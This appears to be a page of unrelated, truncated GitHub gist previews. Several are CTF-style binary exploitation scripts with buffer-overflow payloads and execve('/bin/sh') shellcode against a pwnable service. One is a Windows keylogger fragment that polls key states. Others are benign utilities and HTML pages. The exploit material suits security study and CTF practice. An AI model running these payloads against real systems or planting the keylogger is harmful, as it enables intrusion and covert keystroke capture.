This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from roputils import * | |
p = Proc('./oh_my_scanf') | |
#p = Proc(host='pwnable.katsudon.org', port=32100) | |
sc = Shellcode('i386') | |
buf = 'A' * 28 | |
buf += p32(0x80483e0) # push esp; ret | |
buf += sc.xor(sc.exec_shell(), '\t\n\v\f\r ') # elliminate white-space characters for scanf("%s") attack |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ uname -a | |
Linux vm-ubuntu64 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux | |
$ lsb_release -a | |
No LSB modules are available. | |
Distributor ID: Ubuntu | |
Description: Ubuntu 14.04.1 LTS | |
Release: 14.04 | |
Codename: trusty |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* http://www.gcd.org/blog/2007/09/132/ */ | |
#include <stdio.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#include <sys/stat.h> | |
#include <errno.h> | |
#define BUFMAX 256 | |
int main(int argc, char *argv[]) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# references: | |
# Learning by doing: Writing your own traceroute in 8 easy steps (Ksplice Blog) | |
# https://blogs.oracle.com/ksplice/entry/learning_by_doing_writing_your | |
import sys | |
import socket | |
def traceroute(dest_addr, max_hops=30, timeout=0.2): | |
proto_icmp = socket.getprotobyname('icmp') | |
proto_udp = socket.getprotobyname('udp') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import time | |
from ctypes import * | |
GetAsyncKeyState = cdll.user32.GetAsyncKeyState | |
special_keys = {0x08: "BS", 0x09: "Tab", 0x0d: "Enter", 0x10: "Shift", 0x11: "Ctrl", 0x12: "Alt", 0x14: "CapsLock", 0x1b: "Esc", 0x20: "Space", 0x2e: "Del"} | |
# reset key states | |
for i in xrange(256): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from ctypes import * | |
EnumWindows = cdll.user32.EnumWindows | |
EnumWindowsProc = CFUNCTYPE(c_bool, POINTER(c_int), POINTER(c_int)) | |
GetWindowText = cdll.user32.GetWindowTextW | |
GetWindowTextLength = cdll.user32.GetWindowTextLengthW | |
IsWindowVisible = cdll.user32.IsWindowVisible | |
def enum_func(hwnd, lParam): | |
if IsWindowVisible(hwnd): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* brainfuck.s */ | |
.intel_syntax noprefix | |
.globl _start | |
_start: | |
lea edx, mem | |
lea esi, bfcode | |
loop: | |
mov al, [esi] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import struct | |
import socket | |
from telnetlib import Telnet | |
senryu1 = '\x8d\x48\x19\x31\xdb' | |
senryu2 = '\x6a\x7f\x5a\x6a\x03\x58\x90' | |
senryu3 = '\xcd\x80\xff\xe1\x90' | |
# execve("/bin/sh", {"/bin/sh", NULL}, NULL) | |
shellcode = '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<meta charset="UTF-8"> | |
<title>megrepper</title> | |
<body> | |
<canvas id="canvas"></canvas> | |
<div style="position: fixed; left: 160px; display: inline-block;"> | |
<h1>megrepper</h1> | |
<pre id="edit" style="width: 40em; margin: 0; background-color: #eeeeee">Drag & drop a file on page</pre> | |
</div> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<title>High-resolution clock</title> | |
<h1></h1> | |
<canvas id="canvas" width="400" height="400"></canvas> | |
<script> | |
(function() { | |
var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || | |
window.webkitRequestAnimationFrame || window.msRequestAnimationFrame; |